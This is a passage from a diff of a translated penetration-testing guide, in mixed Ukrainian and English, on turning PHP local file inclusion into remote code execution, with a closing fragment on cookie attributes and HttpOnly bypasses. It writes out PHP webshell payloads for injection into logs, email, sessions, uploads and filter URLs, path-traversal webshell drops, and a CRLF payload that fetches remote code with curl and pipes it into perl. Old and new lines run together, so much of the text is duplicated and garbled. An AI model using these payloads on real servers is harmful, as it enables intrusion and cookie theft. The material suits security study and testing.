**Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (тільки цільове читання з цим)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` **Функції, що можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Для технічних деталей перевірте згаданий пост! За технічними деталями див. згаданий пост!
## LFI2RCE ## LFI2RCE
### Довільне записування файлів через перехід по шляху (Webshell RCE) ### Arbitrary File Write via Path Traversal (Webshell RCE)
Коли серверний код, що приймає/завантажує файли, формує шлях призначення, використовуючи дані, контрольовані користувачем (наприклад, ім'я файлу або URL), без канонізації та валідації, сегменти `..` та абсолютні шляхи можуть вийти за межі запланованого каталогу та викликати довільне записування файлу. Якщо ви можете розмістити payload у каталозі, доступному через веб, ви зазвичай отримуєте неавтентифікований RCE, скинувши webshell. When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Типовий робочий процес експлуатації: Типовий сценарій експлуатації:
- Визначте примітив запису в кінцевій точці або фоновому процесі, який приймає шлях/ім'я файлу та записує вміст на диск (наприклад, обробка повідомлень, обробники команд XML/JSON, розпаковувачі ZIP тощо). - Виявити a write primitive в endpoint або background worker, який приймає a path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
- Визначте каталоги, доступні через веб. Загальні приклади: - Визначити web-exposed директорії. Поширені приклади:
- Apache/PHP: `/var/www/html/` - Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/`скиньте `shell.jsp` - Tomcat/Jetty: `<tomcat>/webapps/ROOT/`drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\`скиньте `shell.aspx` - IIS: `C:\inetpub\wwwroot\`drop `shell.aspx`
- Сформуйте шлях переходу, який виходить за межі запланованого каталогу зберігання у веб-корінь, і включіть вміст вашого webshell. - Сформувати traversal path, який виходить за межі наміченої директорії для збереження в webroot, і включити туди вміст вашого webshell.
- Перейдіть до скинутого payload і виконайте команди. - Перейдіть до розміщеного payload і виконайте команди.
Примітки: Примітки:
- Вразлива служба, яка виконує запис, може слухати на непорті HTTP (наприклад, слухач JMF XML на TCP 4004). Основний веб-портал (інший порт) пізніше обслуговуватиме ваш payload. - Сервіс, що виконує запис, може слухати на non-HTTP порту (наприклад, a JMF XML listener на TCP 4004). Основний веб-портал (інший порт) згодом обслужить ваш payload.
- У Java-стосунках ці записи файлів часто реалізуються простим з'єднанням `File`/`Paths`. Відсутність канонізації/дозволеного списку є основним недоліком. - На Java-стеках такі записи файлів часто реалізуються простим конкатенуванням `File`/`Paths`. Відсутність канонізації/allow-listing — основний недолік.
Загальний приклад у стилі XML/JMF (схеми продуктів варіюються DOCTYPE/обгортка тіла не має значення для переходу): Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3"> <JMF SenderID="hacktricks" Version="1.3">
@ -465,26 +465,27 @@ in.transferTo(out);
</Command> </Command>
</JMF> </JMF>
``` ```
Зміцнення, яке долає цей клас помилок: Заходи жорсткого захисту, що нейтралізують цей клас помилок:
- Вирішити до канонічного шляху та забезпечити, щоб він був нащадком дозволеного базового каталогу. - Розвʼяжіть до канонічного шляху і забезпечте, щоб він був нащадком allow-listed base directory.
- Відхилити будь-який шлях, що містить `..`, абсолютні корені або літери дисків; надавайте перевагу згенерованим іменам файлів. - Відхиляйте будь-який шлях, що містить `..`, absolute roots, або drive letters; віддавайте перевагу згенерованим іменам файлів.
- Запустіть записувач як обліковий запис з низькими привілеями та розділіть каталоги запису від коренів, що обслуговуються. - Запускайте записувач від імені низькоправового (low-privileged) облікового запису та розділяйте директорії для запису й served roots.
## Віддалене включення файлів ## Remote File Inclusion
Пояснено раніше, [**перейдіть за цим посиланням**](#remote-file-inclusion). Пояснювалося раніше, [**перейдіть за цим посиланням**](#remote-file-inclusion).
### Через файл журналу Apache/Nginx ### Via Apache/Nginx log file
Якщо сервер Apache або Nginx **вразливий до LFI** всередині функції включення, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **агенті користувача** або в **GET параметрі** php shell, наприклад, **`<?php system($_GET['c']); ?>`** і включити цей файл. Якщо сервер Apache або Nginx **вразливий до LFI** всередині функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, записати в **user agent** або в **GET parameter** php-оболонку типу **`<?php system($_GET['c']); ?>`** і включити цей файл
> [!WARNING] > [!WARNING]
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP видасть помилку** там, і **нічого іншого не буде виконано**. > Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
> >
> Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості. > Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодованим, і це може знищити Shell. Заголовок **авторизації "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений у цей заголовок.\ Це також можна зробити в інших логах, але **будьте обережні,** код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і декодується всередині логів. PHPShell можна вставити всередину цього заголовка.\
Інші можливі шляхи журналів:
Інші можливі шляхи до логів:
```python ```python
/var/log/apache2/access.log /var/log/apache2/access.log
/var/log/apache/access.log /var/log/apache/access.log
@ -498,124 +499,129 @@ in.transferTo(out);
``` ```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Через електронну пошту ### Через Email
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шлях, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`** **Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>` і спробуйте включити його в пошту користувача шляхом, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
### Через /proc/\*/fd/\* ### Через /proc/*/fd/*
1. Завантажте багато shell'ів (наприклад: 100) 1. Завантажте багато shells (наприклад: 100)
2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - файловий дескриптор (також можна перебрати) 2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна brute forced), а $FD — дескриптор файлу (також можна brute forced)
### Через /proc/self/environ ### Через /proc/self/environ
Як файл журналу, надішліть payload у User-Agent, він буде відображений у файлі /proc/self/environ Як і з лог-файлом, надішліть payload в User-Agent — він відобразиться у файлі /proc/self/environ
``` ```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?> User-Agent: <?=phpinfo(); ?>
``` ```
### Via upload ### Через upload
Якщо ви можете завантажити файл, просто вставте оболонковий код у нього (наприклад: `<?php system($_GET['c']); ?>`). Якщо ви можете upload файл, просто inject shell payload у нього (наприклад: `<?php system($_GET['c']); ?>`).
``` ```
http://example.com/index.php?page=path/to/uploaded/file.png http://example.com/index.php?page=path/to/uploaded/file.png
``` ```
Щоб зберегти файл читабельним, найкраще впроваджувати в метадані зображень/doc/pdf Щоб файл залишався читабельним, найкраще інжектувати в метадані зображень/doc/pdf
### Завантаження ZIP файлу ### Через завантаження ZIP файлу
Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ: Завантажте ZIP файл, що містить стиснену PHP shell, і отримайте доступ:
```python ```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
``` ```
### Via PHP sessions ### Через PHP sessions
Перевірте, чи використовує вебсайт PHP Session (PHPSESSID) Перевірте, чи сайт використовує PHP Session (PHPSESSID)
``` ```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
``` ```
У PHP ці сесії зберігаються у файлах _/var/lib/php5/sess\\_\[PHPSESSID]\_ У PHP ці сесії зберігаються у _/var/lib/php5/sess\\_\[PHPSESSID]\_ файлах
``` ```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
``` ```
Встановіть cookie на `<?php system('cat /etc/passwd');?>` Встановіть cookie як `<?php system('cat /etc/passwd');?>`
``` ```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
``` ```
Використовуйте LFI для включення файлу сесії PHP Використайте LFI, щоб включити файл сесії PHP
``` ```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
``` ```
### Via ssh ### Через ssh
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa** Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_ ### **Через** **vsftpd** _**logs**_
Логи для FTP сервера vsftpd знаходяться за адресою _**/var/log/vsftpd.log**_. У сценарії, де існує вразливість Local File Inclusion (LFI), і доступ до відкритого сервера vsftpd можливий, можна розглянути наступні кроки: Логи для FTP сервера vsftpd знаходяться за адресою _**/var/log/vsftpd.log**_. У випадку, коли існує Local File Inclusion (LFI) вразливість і можливий доступ до відкритого vsftpd сервера, можна розглянути такі кроки:
1. Впровадьте PHP payload у поле імені користувача під час процесу входу. 1. Впровадьте PHP payload у username field під час login process.
2. Після впровадження використовуйте LFI для отримання логів сервера з _**/var/log/vsftpd.log**_. 2. Після ін'єкції використайте LFI, щоб витягнути server logs з _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64) ### Через php base64 filter (using base64)
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter просто ігнорує Non-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, що закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload: Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter просто ігнорує Non-base64. Ви можете використати це для обходу перевірки розширення файлу: якщо ви подасте base64, який закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
```url ```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
### Via php filters (no file needed) ### Через php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters to generate arbitrary content** як вивід. Це, по суті, означає, що ви можете **generate arbitrary php code** для include **without needing to write** його у файл.
Цей [**опис**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл.
{{#ref}} {{#ref}}
lfi2rce-via-php-filters.md lfi2rce-via-php-filters.md
{{#endref}} {{#endref}}
### Via segmentation fault ### Через segmentation fault
**Upload** файл, який буде збережений як **temporary** у `/tmp`, потім в **the same request,** спровокуйте **segmentation fault**, після чого **the temporary file won't be deleted** і ви зможете його знайти.
**Завантажте** файл, який буде збережено як **тимчасовий** у `/tmp`, потім у **тому ж запиті** викличте **сегментаційну помилку**, і тоді **тимчасовий файл не буде видалено** і ви зможете його знайти.
{{#ref}} {{#ref}}
lfi2rce-via-segmentation-fault.md lfi2rce-via-segmentation-fault.md
{{#endref}} {{#endref}}
### Via Nginx temp file storage ### Через Nginx temp file storage
Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки: Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
{{#ref}} {{#ref}}
lfi2rce-via-nginx-temp-files.md lfi2rce-via-nginx-temp-files.md
{{#endref}} {{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS ### Через PHP_SESSION_UPLOAD_PROGRESS
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **don't have a session** і `session.auto_start` встановлено в `Off`. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **enable the session for you**. Це можна використати для отримання RCE:
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` вимкнено. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **включить сесію для вас**. Ви можете зловживати цим, щоб отримати RCE:
{{#ref}} {{#ref}}
via-php_session_upload_progress.md via-php_session_upload_progress.md
{{#endref}} {{#endref}}
### Via temp file uploads in Windows ### Через temp file uploads in Windows
Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE: Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE:
{{#ref}} {{#ref}}
lfi2rce-via-temp-file-uploads.md lfi2rce-via-temp-file-uploads.md
{{#endref}} {{#endref}}
### Via `pearcmd.php` + URL args ### Через `pearcmd.php` + URL args
Як [**пояснюється в цьому пості**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має `=`, його слід використовувати як аргумент. As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Крім того, можливо передавати аргументи скрипту через URL, оскільки зазначено, що якщо URL-параметр не має `=`, він повинен використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
Наступний запит створює файл у `/tmp/hello.php` з вмістом `<?=phpinfo()?>`: The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash ```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
``` ```
Наступне зловживає вразливістю CRLF для отримання RCE (з [**тут**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): Нижче показано, як зловживати CRLF vuln для отримання RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
``` ```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -624,43 +630,49 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
``` ```
### Через phpinfo() (file_uploads = on) ### Через phpinfo() (file_uploads = on)
Якщо ви знайшли **Local File Inclusion** і файл, що відкриває **phpinfo()** з file_uploads = on, ви можете отримати RCE: Якщо ви знайшли **Local File Inclusion** і файл, що показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
{{#ref}} {{#ref}}
lfi2rce-via-phpinfo.md lfi2rce-via-phpinfo.md
{{#endref}} {{#endref}}
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Витік шляху ### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **server** **checking**, чи **file to be included has PHP marks**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**:
Якщо ви знайшли **Local File Inclusion** і ви **можете ексфільтрувати шлях** до тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл, що включається, має PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цього **Race Condition**:
{{#ref}} {{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}} {{#endref}}
### Через вічне очікування + брутфорс ### Через eternal waiting + bruteforce
Якщо ви можете зловживати LFI, щоб **upload temporary files** і змусити **server** **hang** виконання PHP, тоді ви можете **brute force filenames during hours**, щоб знайти тимчасовий файл:
Якщо ви можете зловживати LFI для **завантаження тимчасових файлів** і змусити сервер **зависнути** під час виконання PHP, ви могли б **брутфорсити імена файлів протягом годин**, щоб знайти тимчасовий файл:
{{#ref}} {{#ref}}
lfi2rce-via-eternal-waiting.md lfi2rce-via-eternal-waiting.md
{{#endref}} {{#endref}}
### До Фатальної Помилки ### До Fatal Error
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку). Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
**Я не знаю, як це може бути корисно, але це може бути.**\ **I don't know how is this useful but it might be.**\
_Навіть якщо ви викликаєте PHP Фатальну Помилку, тимчасові файли PHP, що були завантажені, видаляються._ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Посилання ## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai Від служби підтримки до нульового дня (FreeFlow Core path traversal → довільне записування → веб-шелл)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) - [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) - [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#file}} {{#file}}
EN-Local-File-Inclusion-1.pdf EN-Local-File-Inclusion-1.pdf

View File

@ -2,37 +2,36 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Cookie Attributes ## Атрибути Cookie
Cookies мають кілька атрибутів, які контролюють їх поведінку в браузері користувача. Ось огляд цих атрибутів у більш пасивному стилі: Cookies мають декілька атрибутів, які контролюють їх поведінку в браузері користувача. Нижче наведено огляд цих атрибутів у більш пасивному стилі:
### Expires and Max-Age ### Expires and Max-Age
Дата закінчення терміну дії cookie визначається атрибутом `Expires`. У свою чергу, атрибут `Max-age` визначає час у секундах, протягом якого cookie буде видалено. **Вибирайте `Max-age`, оскільки це відображає більш сучасні практики.** Дата завершення дії cookie визначається атрибутом `Expires`. Натомість атрибут `Max-age` задає час у секундах до видалення cookie. **Віддавайте перевагу `Max-age`, оскільки це відповідає сучаснішим практикам.**
### Domain ### Domain
Хости, які отримують cookie, вказуються атрибутом `Domain`. За замовчуванням це встановлено на хост, який видав cookie, не включаючи його піддомени. Однак, коли атрибут `Domain` явно встановлений, він охоплює також піддомени. Це робить специфікацію атрибута `Domain` менш обмежувальним варіантом, корисним для сценаріїв, де необхідно ділитися cookie між піддоменами. Наприклад, встановлення `Domain=mozilla.org` робить cookie доступними на його піддоменах, таких як `developer.mozilla.org`. Хости, які отримують cookie, задаються атрибутом `Domain`. За замовчуванням він встановлюється на хост, що видав cookie, без включення його піддоменів. Проте при явному вказанні атрибуту `Domain` він охоплює також піддомени. Це робить вказівку `Domain` менш обмежувальною опцією, корисною у випадках, коли потрібно спільне використання cookie між піддоменами. Наприклад, встановлення `Domain=mozilla.org` робить cookie доступними на піддоменах, таких як `developer.mozilla.org`.
### Path ### Path
Конкретний URL шлях, який повинен бути присутнім у запитуваному URL, щоб заголовок `Cookie` був надісланий, вказується атрибутом `Path`. Цей атрибут розглядає символ `/` як роздільник директорій, що дозволяє відповідності в підкаталогах. Атрибут `Path` вказує конкретний шлях URL, який має бути присутнім у запитуваному URL, щоб заголовок `Cookie` був відправлений. Цей атрибут трактує символ `/` як роздільник каталогів, дозволяючи збіги також у підкаталогах.
### Ordering Rules ### Ordering Rules
Коли два cookie мають однакову назву, вибір того, який буде надіслано, базується на: Якщо два cookie мають однакове ім'я, для відправлення обирається той, що:
- cookie, що відповідає найдовшому шляху в запитуваному URL.
- Cookie, що відповідає найдовшому шляху в запитуваному URL. - останній встановлений cookie, якщо шляхи ідентичні.
- Найновішому встановленому cookie, якщо шляхи ідентичні.
### SameSite ### SameSite
- Атрибут `SameSite` визначає, чи надсилаються cookie в запитах, що походять з доменів третіх сторін. Він пропонує три налаштування: - Атрибут `SameSite` визначає, чи будуть cookie відправлятися в запитах, що походять із доменів третьої сторони. Він має три значення:
- **Strict**: Обмежує надсилання cookie в запитах третіх сторін. - **Strict**: Обмежує відправку cookie в запитах третьої сторони.
- **Lax**: Дозволяє надсилати cookie з GET запитами, ініційованими веб-сайтами третіх сторін. - **Lax**: Дозволяє відправляти cookie з GET-запитами, ініційованими сайтами третьої сторони.
- **None**: Дозволяє надсилати cookie з будь-якого домену третьої сторони. - **None**: Дозволяє відправляти cookie з будь-якого домену третьої сторони.
Пам'ятайте, що під час налаштування cookie розуміння цих атрибутів може допомогти забезпечити їх очікувану поведінку в різних сценаріях. Пам'ятайте, що при налаштуванні cookie розуміння цих атрибутів допоможе забезпечити їх очікувану поведінку в різних сценаріях.
| **Request Type** | **Example Code** | **Cookies Sent When** | | **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- | | ---------------- | ---------------------------------- | --------------------- |
@ -45,76 +44,83 @@ Cookies мають кілька атрибутів, які контролюют
| Image | \<img src="..."> | NetSet\*, None | | Image | \<img src="..."> | NetSet\*, None |
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
Cookie з атрибутом _**SameSite**_ **зменшить атаки CSRF**, де потрібна активна сесія. A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
**\*Зверніть увагу, що з Chrome80 (лютий/2019) стандартна поведінка cookie без атрибута cookie samesite** **буде lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ **\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Зверніть увагу, що тимчасово, після застосування цієї зміни, **cookie без політики SameSite** **в Chrome будуть** **трактуватися як None** протягом **перших 2 хвилин, а потім як Lax для запиту POST на верхньому рівні з крос-доменом.** Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
## Cookies Flags ## Флаги Cookie
### HttpOnly ### HttpOnly
Це запобігає **клієнту** доступити cookie (через **Javascript**, наприклад: `document.cookie`) Це забороняє клієнту отримувати доступ до cookie (наприклад через **Javascript**: `document.cookie`)
#### **Bypasses** #### **Обходи**
- Якщо сторінка **надсилає cookie у відповідь** на запити (наприклад, на сторінці **PHPinfo**), можливо зловживати XSS, щоб надіслати запит на цю сторінку та **вкрасти cookie** з відповіді (перевірте приклад у [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)). - Якщо сторінка відправляє cookie в тілі відповіді на запит (наприклад, на сторінці **PHPinfo**), можна використати XSS для відправки запиту на цю сторінку та **вкрасти cookie** з відповіді (перегляньте приклад на [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Це можна обійти за допомогою **TRACE** **HTTP** запитів, оскільки відповідь сервера (якщо цей HTTP метод доступний) відобразить надіслані cookie. Цю техніку називають **Cross-Site Tracking**. - Це можна обійти за допомогою **TRACE** HTTP-запитів, оскільки відповідь сервера (якщо цей HTTP-метод доступний) відобразить відправлені cookie. Ця техніка називається **Cross-Site Tracking**.
- Цю техніку уникають **сучасні браузери, не дозволяючи надсилати запит TRACE** з JS. Однак деякі обходи цього були знайдені в специфічному програмному забезпеченні, наприклад, надсилаючи `\r\nTRACE` замість `TRACE` до IE6.0 SP2. - Сучасні браузери уникають цієї техніки, забороняючи відправку TRACE-запитів з JS. Проте для конкретного ПЗ знайдені обхідні шляхи, наприклад відправка `\r\nTRACE` замість `TRACE` до IE6.0 SP2.
- Інший спосіб - це експлуатація вразливостей нульового дня браузерів. - Інший спосіб — експлуатація zero/day вразливостей браузерів.
- Можливо **перезаписати HttpOnly cookie**, виконуючи атаку переповнення Cookie Jar: - Можна **перезаписати HttpOnly cookies**, виконавши атаку Cookie Jar overflow:
{{#ref}} {{#ref}}
